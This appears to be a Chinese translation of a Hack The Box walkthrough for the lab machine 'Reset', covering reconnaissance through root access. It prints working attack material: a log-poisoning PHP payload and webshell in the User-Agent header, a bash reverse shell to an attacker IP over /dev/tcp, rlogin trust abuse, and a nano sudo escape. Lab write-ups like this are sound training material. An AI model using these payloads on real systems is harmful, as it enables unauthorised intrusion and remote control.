HTB: Reset
侦察
初始扫描
Nmap发现五个开放TCP端口:SSH(22)、HTTP(80)以及512-514端口的未知服务:
1
2
3
4
5
6
7
8
9
10
11
|
oxdf@hacky$ nmap -p- --min-rate 10000 10.129.234.130
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-06-03 20:24 UTC
Nmap scan report for 10.129.234.130
Host is up (0.092s latency).
Not shown: 65530 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
512/tcp open exec
513/tcp open login
514/tcp open shell
|
基于OpenSSH和Apache版本,目标可能运行Ubuntu 22.04。TCP 512-514端口与Berkeley r命令相关。
网站 - TCP 80
站点分析
网站显示管理员登录页面。密码重置功能存在漏洞:重置密码API在响应中返回新密码,无需访问账户邮箱。
技术栈
响应头显示站点设置PHPSESSID cookie,确认运行PHP:
1
2
3
|
HTTP/1.1 200 OK
Set-Cookie: PHPSESSID=h72dhq82diroa26qcbdjqip5e9; path=/
Content-Type: text/html; charset=UTF-8
|
目录暴力破解
使用feroxbuster发现/dashboard.php
,但未认证时重定向到index.php。
请求分析
重置密码的POST请求发送到/reset_password.php
。存在用户时返回包含新密码的JSON响应:
1
|
{"success":true,"password":"admin123","timestamp":"2025-06-03 20:47:32"}
|
认证站点
仪表板
登录后显示日志查看功能,可加载syslog和auth.log。
POST请求
查看日志时发送POST请求,file参数包含完整文件路径:
1
2
|
POST /dashboard.php HTTP/1.1
file=%2Fvar%2Flog%2Fsyslog
|
Shell作为www-data
目录遍历/文件读取[失败]
尝试读取/etc/passwd
失败,返回"Invalid file path"。
命令注入[失败]
尝试多种命令注入载荷(如;id;
、反引号、&
、|
、$()
)均未成功。
日志投毒
策略:通过User-Agent头注入PHP代码到access.log,利用include函数执行。
PoC:
1
2
|
POST /dashboard.php HTTP/1.1
User-Agent: 0xdf <?php system('id'); ?>
|
加载/var/log/apache2/access.log
成功执行代码:

Shell获取
注入webshell:
1
|
User-Agent: 0xdf: <?php system($_REQUEST['cmd']); ?>
|
通过base64编码的bash反向shell获取连接:
1
|
echo 'bash -c "bash -i >& /dev/tcp/10.10.14.79/443 0>&1"' | base64
|
Shell作为radm
枚举
发现tmux会话运行作为radm:
1
2
|
ps auxww | grep sadm
sadm 1104 0.0 0.1 8764 3880 ? Ss Jun03 0:00 tmux new-session -d -s sadm_session
|
r命令
/etc/hosts.equiv
配置允许radm通过rlogin访问:
1
2
3
4
|
# /etc/hosts.equiv
- root
- local
+ sadm
|
rlogin
本地创建radm用户后无需密码连接:
1
2
3
4
|
oxdf@hacky$ sudo useradd sadm
oxdf@hacky$ sudo passwd sadm
oxdf@hacky$ sudo su - sadm
$ rlogin 10.129.234.131
|
恢复密码
附加到tmux会话发现密码"7lE2PAfVHfjz4HpE"。
Shell作为root
枚举
radm可运行以下命令作为任意用户:
1
2
3
4
|
sadm@reset:~$ sudo -l
(ALL) PASSWD: /usr/bin/nano /etc/firewall.sh
(ALL) PASSWD: /usr/bin/tail /var/log/syslog
(ALL) PASSWD: /usr/bin/tail /var/log/auth.log
|
nano逃逸
使用sudo运行nano编辑/etc/firewall.sh
:
1
|
sudo nano /etc/firewall.sh
|
通过Ctrl-r打开读文件菜单,Ctrl-x执行命令,运行reset; bash 1>&0 2>&0
获取root shell。
读取root标志:
1
2
|
root@reset:~# cat root_279e22f8.txt
7ad6951bcb5a2edaffd7908b013d29b0
|
附加分析
Web应用源码
dashboard.php
中的漏洞代码:
1
2
3
4
5
6
7
8
9
10
|
function isValidFile($filePath) {
$realPath = realpath($filePath);
return $realPath && strpos($realPath, ALLOWED_BASE_DIR) === 0;
}
if (isValidFile($file)) {
ob_start();
include($file); // 漏洞点
$logs = explode("\n", ob_get_clean());
}
|
rlogin协议
RFC-1282定义协议,客户端发送:
1
2
3
4
|
<null>
client-user-name<null>
server-user-name<null>
terminal-type/speed<null>
|
Wireshark分析显示认证过程依赖远程用户名,易受欺骗。